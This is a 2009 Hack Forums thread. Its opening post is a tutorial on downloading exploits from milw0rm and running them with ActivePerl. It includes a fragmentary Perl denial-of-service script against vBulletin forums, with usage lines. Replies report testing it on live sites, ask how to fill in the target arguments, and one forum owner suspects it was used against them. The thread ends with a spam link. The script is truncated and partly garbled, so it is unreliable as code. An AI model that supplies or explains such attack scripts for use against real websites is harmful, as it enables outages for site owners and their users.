

Forum:[Hack Forums](#)

Thread: [\[TUT\] Exploits with Active Perl](#)

Black Kat - February 1, 2009, 4:56 am

Posted this because of the vBulletin exploit thread.

Active Perl Download link: <http://aspn.activestate.com/ASPN/Downloads/ActivePerl/>

You need Active Perl, but here are the relevant steps.

1. First get your exploit, milw0rm.com is a database of exploits.

2. Now press CTRL+A to select all text then CTRL+C to copy it.

3. Open notepad and press CTRL+V to paste the text, now in notepad go to File -> Save As... and save it with exploitname.pl in C:\Perl\ . Don't forget the .pl after the name!.

(Your Perl must be installed in C:\)

4. Now open 'cmd' and type 'cd\' without the quotes, then 'cd perl' without the quotes then 'perl exploitname.pl' without the quotes again.

5. Now some text will appear.

6. Now enter this

-> perl exploitname.pl hostIP forumfolder userid somenumber

Then press enter

vBulletin Exploit found by Hishan:

Code # VBulletin DoS Exploit

#

"Content-Length: \$len\r\n".

"Connection: Keep-Alive\r\n".

"Cache-Control: no-cache\r\n\r\n".

"\$data";

my \$port = "80";

my \$proto = getprotobyname('tcp');

socket(SOCKET, PF_INET, SOCK_STREAM, \$proto);

connect(SOCKET, sockaddr_in(\$port, inet_aton(\$host))) || redo;

send(SOCKET, "\$foo", 0);

syswrite STDOUT, "|";

}

print "\n\n";

system('ping \$host');

sub usage {

print "\tusage: \n";

print "\t\$0 \n";

print "\tex: \$0 127.0.0.1 /forum/\n";

print "\tex2: \$0 127.0.0.1 / (if there isn't a dir)\n\n";

exit();

};

Xiolin - February 1, 2009, 5:01 am

hey thnx, i was just searchin for sumthin like this

Black Kat - February 1, 2009, 5:31 am

Glad to help.

l33t_prototype - February 1, 2009, 5:39 am

is there any new vbulletin exploit found? i rechecked milw0rm but nothing new abt vbulletin

Black Kat - February 1, 2009, 5:47 am

Hmmm, read the bottom of the first post. That is a new vBulletin exploit that works. Tested it this morning.

TiberianWolf - February 1, 2009, 5:48 am

Tnx nicely explained ?

I33t_prototype - February 1, 2009, 5:51 am

It works on 3.6.5 and prior [all] !

most of them are 3.7.x these days

Black Kat - February 1, 2009, 6:10 am

@ I33t_prototype - It has been tested on 3.8.2 and it worked.

@ tiberianWolf - Cheers!

I33t_prototype - February 1, 2009, 7:24 am

this wudnt work... i just tried it & it just shows

+++++ goin on sice past couple of hours. :(

ventee[X] - February 1, 2009, 7:33 am

Nice :D Thanks.

new user - February 1, 2009, 7:43 am

how much mb is it ?

I33t_prototype - February 1, 2009, 7:46 am

what mb are u talkin abt? the size of the site

new user - February 1, 2009, 8:03 am

i need to install it right ?

Black Kat - February 1, 2009, 8:14 am

Size on disk: 82.8 MB (86,863,872 bytes)

darknessn1ko!a - February 1, 2009, 11:09 am

htaccess.txt Exploit: Generic defenses implemented in .htaccess are not available, so exploiting is more likely to succeed. Vulnerable? ~Yes

can you write tut for this ekploit ? ? ? pls

mush - February 2, 2009, 4:59 am

what i need to write in:

forumfolder userid somenumber

hishan - February 3, 2009, 9:19 pm

thanks. for using my name there.

Black Kat - February 4, 2009, 11:21 am

Thanks for feedback, I have PM'ed Mush.

someone_hack_my_forum - February 12, 2009, 5:13 am

i want perl software where i can download this

tallkotteh - February 12, 2009, 6:14 am

what a pointless exploit, are u supposed to dos down a website with perl? lol.. btw u dont haf to write cd c:\perl\bin

Just open cmd and write yourexploitname.pl D:

boypalmes - February 22, 2009, 2:24 am

it think the exploit now for Vbulletin is not workin now and i tried to check in milw0rn there no new.... do you have any updated one....

thank you for sharing if you have...

luft - February 23, 2009, 11:10 am

Pretty sure someone used this on my forums :@

esrocks - March 2, 2009, 8:30 am

wats hostip and forumfolder??

CrayVr - March 2, 2009, 11:30 am

Thanks, will be good for noobs!

Delegate - June 25, 2011, 4:53 pm

just wanna share with u a grate website i found for web hosting u sign up u can have as many website's as u want with 5 different sub domain things eg.. yourwebsite.99k.org there's 5 of them free database no adds on your website u start from scratch ftp it gives u a index.html that's it your on your own it should have more people signed up is a good website

link : <http://adf.ly/1v0bm>

use it in your threads
and its free